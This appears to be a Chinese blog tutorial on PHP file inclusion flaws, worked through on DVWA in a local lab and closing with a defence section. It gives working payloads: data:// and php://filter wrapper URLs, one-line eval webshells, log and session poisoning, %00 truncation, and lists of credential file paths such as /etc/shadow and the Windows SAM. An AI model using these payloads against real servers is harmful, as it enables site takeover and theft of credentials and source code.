0x01 什么是文件包含漏洞

文件包含漏洞是一种常见的web类型漏洞,因为很多脚本语言支持使用文件包含,也就是我们所说的文件包含函数,网站开发者经常会把一些代码插入到指定的地方,从而节省之间避免再次编写 ,这就是包含函数的基础解释 ,但是我们不光可以包含我们预先指定的文件,也可以包含我们服务器内部的其他文件,前提条件就是我们需要有可读的权限才能读取这些文件 ,所以这样就会导致文件包含漏洞


和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。

什么叫包含呢?
以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。

0x02危害

1、配合文件上传漏洞GetShell
2、可以执行任意脚本代码(php://input) (即使有文件上传也能执行脚本代码)
3、网站源码文件以及配置文件泄露(php://filte/read=convert.base64-encode/resource=bihuo.php)
4、远程包含GetShell
5、控制整个网站甚至是服务器

0x03 漏洞成因

有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

以PHP为例,常用的文件包含函数有以下四种
include(),require(),include_once(),require_once()

区别如下:

require():找不到被包含的文件会产生致命错误,并停止脚本运行
include():找不到被包含的文件只会产生警告,脚本继续执行
require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

0x04 文件包含漏洞的环境要求

allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据
allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件

0x05 文件包含漏洞分类

其文件包含漏洞共分为两大类,本地文件包含和远程文件包含,但是如果想要实现远程文件包含,需要php.ini开启了allow_url_fopen和allow_url_include的配置。包含的文件是第三方服务器的文件。本地文件包含的含义就是包含本地服务器的文件


只能够对服务器本地的文件进行包含。本地文件包含漏洞所包含的各类情况如下:
可以包含本地文件,在条件允许时可执行代码
执行上传的图片马,生成webshell。
读取敏感文件,如系统配置文件以及PHP文件等。
包含data:或php://input等伪协议
若有phpinfo则可以包含临时文件
包含日志文件GetShell
包含/proc/self/envion文件GetShell


远程文件包含(RFI)
当php.ini中allow_url_fopen和allow_url_include为On时,文件包含函数是可以加载远程文件的,这类漏洞被称为远程文件包含漏洞。

0x06 基础文件包含漏洞

利用文件包含,我们通过include函数来执行phpinfo.php页面,成功解析
将phpinfo.php文件后缀改为txt后进行访问,依然可以解析
将phpinfo.php文件后缀改为jpg格式,也可以解析
可以看出,include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。

但是我们一般不通过php文件上传因为
从靶场服务器访问攻击者的服务器的php文件,只能获取到php执行后的返回结果,而不能获取到php文件源码
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=../../../../Mysql/my.ini
image-20231023104951356
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=D://phpStudy/Mysql/my.ini
image-20231023105346603

一些常见的敏感目录信息路径

Windows系统:

C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置
C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
C:\windows\php.ini //php配置信息
Linux/Unix系统:

/etc/password //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件

0x07 伪协议应用

PHP内置了很多URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数

file://协议

这个伪协议不受allow_url与allow_url_include的影响

注意:file://协议后面需要跟着绝对路径

file:// [文件的绝对路径和文件名]
image-20231023194646867

payload

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=file://d://phpStudy/www/DVWA-MASTER/index.php
image-20231023193827111

data协议

data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。

利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:

原文链接:https://blog.csdn.net/m0_46467017/article/details/126380415(data:text/plain)
(伪协议需要allow_url_fopen  allow_url_include为on)

payload

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=data:text/plain,<?php  file_put_contents('1.php','<?php @eval($_REQUEST[1]); ?>') ?>

因为蚁剑一直连不上,想到可能是受到一些限制,所以我们改为写一个新文件,当这个文件运行的时候就会创建一个新文件,我们用蚁剑去连接新创建的文件

image-20231023145204711
image-20231023145259387

php伪协议

1. php://stdin:代表标准输入流。您可以使用它来读取从控制台输入的数据。

2. php://stdout:代表标准输出流。您可以使用它来将数据输出到控制台。

3. php://stderr:代表标准错误输出流。您可以使用它来输出错误消息到控制台。

4. php://input:用于获取通过HTTP POST请求发送的数据。可以用来接收HTTP请求正文的数据。

5. php://output:用于将数据输出到HTTP响应正文。可以用来发送HTTP响应内容。

6. php://memory:代表内存中的流。您可以使用它来创建一个内存缓冲区,将数据写入其中。

7. php://temp:类似于php://memory,代表内存中的流。通常用于存储临时数据。

8. php://fd:用于访问文件描述符(File Descriptor)。可以打开并操作文件。

9. php://filter:用于过滤数据。您可以使用它来应用各种过滤器和转换器来处理数据。

10. php://glob:用于获取与通配符匹配的文件列表。

这些伪协议可用于处理文件、输入/输出、网络通信以及数据转换等各种任务。它们是PHP的内置功能,提供了灵活性和便捷性,用于访问和操作不同类型的资源。

经常使用的是php://filter和php://input

php://filter用于读取源码。

php://input用于执行php代码。

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

(伪协议计本都需要allow_url_fopen  allow_url_include为on)

php://input协议

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。


需要开启allow_url_include=on,对allow_url_fopen不做要求
image-20231023145438690
image-20231023145503812

如果没有hackbar也可以直接写入php文件,输入file=php://input,然后使用burp抓包,在请求主体写入php代码

php://filter协议

关联阅读

[谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)](https://www.leavesongs.com/PENETRATION/php-filter-magic.html)

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

?file=php://input 数据利用POST传过去。  相对路径

只是读取,所以只需要开启allow_url_fopen,对allow_url_include不做要求
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=index.php

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=../../../index.php //能出来但是报错
image-20231023145756515
image-20231023145829667

zip://协议

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

zip://中只能传入绝对路径。
要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23
需要PHP 的版本> =5.3.0,#可以自己变成%23
只需要是zip的压缩包即可,后缀名可以任意更改,除了rar
相同的类型还有zlib://和bzip2://

?file=zip://[压缩文件路径]#[压缩文件内的子文件名] 需要绝对路径

如果内部为php则会报错,内部文件需为txt,还需要安装apt-get install -y php-zip,外部需要为使用zip压缩的

image-20231023154658904
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=zip://D:/phpStudy/WWW/DVWA-master/hackable/uploads/shell.zip%23shell.txt
image-20231023155457525

phar://协议

类似于zip://,但用法不同,zip://伪协议中是用#把压缩文件路径和压缩文件的子文件名隔开,而phar://伪协议中是用/把压缩文件路径和压缩文件的子文件名隔开,
即?file=phar://[压缩文件路径]/[压缩文件内的子文件名] 注意:PHP >=5.3.0压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。

payload

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=phar://../../hackable/uploads/shell.png/shell.php
image-20231023155735094

0x08 本地文件包含漏洞利用

配合文件上传使用

有时候我们找不到文件上传漏洞,无法上传webshell,可以先上传一个图片格式的webshell到服务器,再利用本地文件包含漏洞进行解析。

以DVWA平台为例,将Security Level选择low,编辑一个图片马,内容如下:
<?php
    fwrite(fopen("shell.php","w"),'<?php eval($_POST[123]);?>);
?>

找到上传点进行上传

获取文件保存的完整路径

最后利用文件包含读取文件

常见代码

image-20231023211800247

image-20231023211828205

三 %00截断

image-20231023211927119
image-20231023212006018

四 利用路径长度

image-20231023212047407
image-20231023212058508

利用?截断

image-20231023213136027

包含上传的图片马

image-20231023213225481

包含apache日志文件

有时候网站存在文件包含漏洞,但是却没有文件上传点。这个时候我们还可以通过利用Apache的日志文件来生成一句话木马。

利用条件
对日志文件可读
知道日志文件存储目录

注意点
一般日志储存目录会被修改,需要读取服务器配置文件(httpd.conf,nainx.conf)或者根据phpinfo();中的消息来得知
日志记录中的信息都可以被调整,比如记录的报错等级,或者内容格式

如果我们访问一个不存在的资源,也一样会进行记录,例如访问
http://127.0.0.1<?php phpinfo();?>
查看日志被记录下来

需要去http.conf --> 开启 CustomLog "logs/access.log" combined 用来开启apache的日志

之后我们在网站随意的地方输入php代码,前面需要有?来区分get传参和路径,下一步需要使用bp进行抓包,因为浏览器会给我们的php代码进行自动编码

image-20231024200612352
image-20231024200606554

之后进入含有文件包含的地方,进行包含Apache日志文件来执行php代码

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=D:/phpStudy/Apache/logs/access.log
image-20231023170950146

包含session文件

利用条件:

找到Session内的可控变量
Session文件可读写,并且知道存储路径

php的session文件的保存路径可以在phpinfo的session.save_path看到。

session常见存储路径:

/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件格式:sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到。

首先需要写一段这个代码,放在网站的任意路径

<?php
session_start();
$test = $_GET['test'];
$_SESSION['username'] = $test;  //注意SESSION大写
?>

下一步,找到自己写的文件进行传值

http://127.0.0.1/session.php?test=<?php phpinfo(); ?>  //代码会修改你的session文件,可以写入代码
image-20231024201120780

下一步,进行文件包含session文件

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=D:\phpStudy\tmp\tmp\sess_26e09dp2k37g7r4vi8ihmlad67

session id 需要去cookie中去查看

image-20231024201248196
image-20231024201525515

包含临时文件

image-20231023214126948
php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用C:\windows\temp目录。在临时文件被删除前,可以利用时间竞争的方式包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的是随机函数有缺陷,而windows下只有65535种不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。

包含ssh日志文件拿shell

ssh '<?php phpinfo(); ?>'@192.168.48.129  //linux系统连接虚拟机的命令

ssh "<?php phpinfo(); ?>"@192.168.1.244  //windows系统连接虚拟机的命令

首先,在命令行使用咱们创造的ssh命令连接虚拟机

image-20231024100236319
image-20231024113250669
image-20231024202030843

查看日志

需要把log文件夹的权限升级为604,意思就是起码普通用户有读取的权限

image-20231024113147656
image-20231024202126824

kail的ssh的日志文件成功连接的的日志文件在/var/log/wtmp

连接失败的日志文件在/var/log/btmp

使用kali如果报这个错误
Warning: include(): open_basedir restriction in effect. File(/var/log/btmp) is not within the allowed path(s): (/www/admin/localhost_80/wwwroot/:/tmp/:/proc/) in /www/admin/localhost_80/wwwroot/DVWA-master/vulnerabilities/fi/index.php on line 36

Warning: include(/var/log/btmp): failed to open stream: Operation not permitted in /www/admin/localhost_80/wwwroot/DVWA-master/vulnerabilities/fi/index.php on line 36

Warning: include(): Failed opening '/var/log/btmp' for inclusion (include_path='.:/usr/local/phpstudy/soft/php/php-5.5.38/lib/php') in /www/admin/localhost_80/wwwroot/DVWA-master/vulnerabilities/fi/index.php on line 36




则需要按照如下操作
这个错误是因为 PHP 的 open_basedir 限制导致的。open_basedir 是一种 PHP 安全机制,它用于限制 PHP 脚本可以访问的目录。在你的错误消息中,它指示文件 /var/log/btmp 不在允许的路径内。

错误消息的各部分解释如下:

Warning: include(): open_basedir restriction in effect. - 这是一个 PHP 警告,它告诉你 open_basedir 限制正在生效。

File(/var/log/btmp) is not within the allowed path(s): (/www/admin/localhost_80/wwwroot/:/tmp/:/proc/) - 这一部分指出了受限制的文件路径 /var/log/btmp 不在允许的路径列表内,允许的路径包括 /www/admin/localhost_80/wwwroot/、/tmp/ 和 /proc/。

in /www/admin/localhost_80/wwwroot/DVWA-master/vulnerabilities/fi/index.php on line 36 - 这是错误发生的文件和行号。

Warning: include(/var/log/btmp): failed to open stream: Operation not permitted - 这一部分是指 include 函数尝试打开 /var/log/btmp 时失败,因为该操作未被许可。

Warning: include(): Failed opening '/var/log/btmp' for inclusion (include_path='.:/usr/local/phpstudy/soft/php/php-5.5.38/lib/php') - 这是指 include 函数尝试包含 /var/log/btmp 文件时失败。

要解决这个问题,你可以考虑以下几种方法:

修改 open_basedir 设置:你可以修改 PHP 配置中的 open_basedir 设置,以包括 /var/log/btmp 目录,如果安全性允许的话。这需要在 PHP 配置文件(如 php.ini)中进行更改。不过,这需要谨慎处理,确保不引入安全风险。

更改代码:如果可能的话,你也可以更改代码,使其不再尝试包含 /var/log/btmp 文件。

最后还是在centos7中完成实验(因为kali的报错整了一上午没整明白)

使用文件包含,包含整个ssh日志文件

http://192.168.1.244/dvwa/vulnerabilities/fi/?page=/var/log/secure  //如果上传错了则需要删除日志文件内全部内容并重启centos,所以输入慎重
image-20231024202323192

0x09 漏洞挖掘

没有通用的挖掘办法(Google搜索include..file=...)
特定的CMS,特定的版本可能存在漏洞(include, require)
Web漏洞扫描器扫描,常见的web漏洞扫描器都支持可以检测。手工挖掘,看参数, filename=xxx,是否可以包含其他文件

0x10 练习

后端代码

<?php
    show_source(__FILE__);
    include('flag.php');
    $a = $_GET["a"];
    if (isset($a) && ((file_get_contents($a, 'r')) === 'l want flag')) {
        echo "success\n";
        echo $flag;
    }

同文件夹下有一个flag.php

flag{1231231231235sdfadsf}

当我们给a使用get传参时,传的参数等于l want flag则会判断成功,输出$flag;

image-20231024194152906

一共有三种方法,需要注意php://input需要使用post传参,data格式可以使用base64编码格式,第三种方法不可以使用linux

image-20231024194608718

image-20231024204045921
image-20231024204052248

image-20231024204113852
image-20231024204123401

image-20231024204308783
<?php
show_source(__FILE__);
$path = @$_GET['path'];
//过滤../、..\,替换为空
$path = str_replace(array('../','..\\'),'', $path);
@include './'.$path;
?>

如果开启了opendir,蚁剑,哥斯拉都可以进行遍历读取网站所在的盘符(例如网站在D盘,则只能把D盘遍历出来,别的盘不会),如果想切换到别的盘符,则需要使用dos命令

image-20231024204455679

0x10 绕过

本地绕过

%00截断绕过:

原理:
验证源码:

<?php 
if(isset($_GET['page'])){       //判断通过GET方式有没有获取到这个文件;
  include$_GET['page'].".php";  //通过page传递这个文件的名字,不包括文件后缀名;如果传递一个test,代码拼接.php,如果当前目录下存在test.php,就包含test.php;
}else{
include'home.php';              //否则就包含home.php
}
?>

校验过程:判断是否获取到这个文件-->通过GET方式传递一个文件名,并在文件名后面拼接.php后缀-->如果当前目录下有这个文件,就包含这个文件-->否则就包含home.php
注:
  在低版本中php读取文件名时认为%00是终止符,对于%00后面的内容就会失效。
  通过上面源码我们知道,通过GET方式传递的这个文件名是我们可以进行控制的,在这里我们可以通过%00截断后面拼接的内容,让后面拼接的内容失效。

实验步骤:

1、制作一个图片马放到test_include目录下,这里的内容不是一句话木马,是phpinfo();代码:内容 <?php phpinfo();?>
image-20231024210653280
2、对1.png进行包含,报错没有这个文件:


3、包含1.png,使用burpsuite对这个文件进行抓包:


4、在1.png后面加上%00,进行00截断,可以看出,成功解析图片马:
image-20231024210824173
image-20231024210839240
image-20231024211028076

点号绕过

image-20231024211110764
image-20231024211136991

其他绕过

image-20231024211453056

远程绕过

 PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。

allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)
image-20231024211900783
image-20231024211914517
image-20231024211928473
image-20231024211937964
image-20231024212010011
image-20231024212025570

0x11 文件包含漏洞防护

1、使用str_replace等方法过滤掉危险字符(., /, \)

2、配置open_basedir,防止目录遍历(open_basedir 将php所能打开的文件限制在指定的目录树中)

3、php版本升级,禁止0字节(\0),防止%00截断

4、对上传的文件进行重命名,防止被读取

5、对于动态包含的文件可以设置一个白名单,不读取非白名单的文件。

6、做好管理员权限划分,做好文件的权限管理,allow_url_include和allow_url_fopen最小权限化

Views: 3

邮箱:zzpqwetvg@gmail.com
最后更新于 2023-11-09